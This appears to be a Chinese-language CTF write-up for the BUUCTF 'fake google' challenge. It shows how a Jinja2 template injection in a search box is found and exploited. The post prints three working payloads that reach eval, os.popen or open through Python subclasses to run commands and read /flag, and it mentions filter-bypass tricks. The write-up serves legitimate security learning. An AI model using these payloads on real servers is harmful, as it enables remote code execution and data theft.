当前位置: 代码迷 >> 综合 >> BUUCTF__[BJDCTF 2nd]fake google_题解
  详细解决方案

BUUCTF__[BJDCTF 2nd]fake google_题解

热度:3   发布时间:2024-01-28 20:24:18.0

前言

  • 我是懒狗
  • 我用190买二手配件成功组装出一台台式电脑,成功大战4399,动手还是很快乐的。

读题

  • 就一个搜索框,f12无提示。
  • 尝试搜索发现url有一个name变量,搜索会跳转显示你输入的东西,在这里f12发现提示。
    在这里插入图片描述
  • ssti模板注入。对我来说是新东西。虽然前面做过了一题tornado模板的,可是有很大的差别。这让我看wp都费劲的一道题。
  • 提示是ssti模板注入,我们再来尝试一下,比如说,在搜索框中输入{{2+2}},会跳转显示4 。说明后端有处理渲染。

研究

  • 这题我解释不清楚,就只是讲一下我在看wp时的一些看法。直接上payload。

payload

  • payload1

    ().__class__.__bases__[0].__subclasses__() ---查看可用模块().__class__.base__.__subclasses__().index(warnings.catch_warnings)可以查看当前位置,不过题目环境不能用。手动数吧= = 169位{{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}发现可以执行,构造命令{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}没有什么过滤= =友好!
    
  • payload2

    或者找到os._wrap_close模块 117个
    {{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('dir').read()}}  当前文件夹{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}来打开文件,payload有很多慢慢摸索慢慢积累= =
    
  • payload3

    {{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}         threading.Semaphore模块
    
  • 来自这位师傅的博客

个人理解

  • 首先就是不同的模板引擎的变量包裹标识符会不一样,导致payload不一样。目前我就看过TornadoJinja2,这两个都是以{{}}作为变量包裹标识符。
    在这里插入图片描述
  • 利用漏洞命令执行或者信息泄露,信息泄露有一些敏感的配置信息,而命令执行就能很直观的进行操作。例如文件读写。
  • 然后是确定如何操作,查看可用模块里可执行函数,比如os.system可以执行系统命令,os.popen()可以读取文件等。
  • 再就是对题目的过滤进行绕过。可能会对某些危险函数禁用或者过滤函数名。可用编码、拼接,替换等方式绕过。

参考资料

  • SSTI/沙盒逃逸详细总结
  • 服务端模板注入攻击
  • SSTI模板注入
  • 详解flask的ssti模版注入

最后

  • 实在是水平有限,遇到了,算先简单学习一下,以后有更深的理解再写
  • 附上题目链接
  • 持续更新BUUCTF题解,写的不是很好,欢迎指正。
  • 最后欢迎来访个人博客
  相关解决方案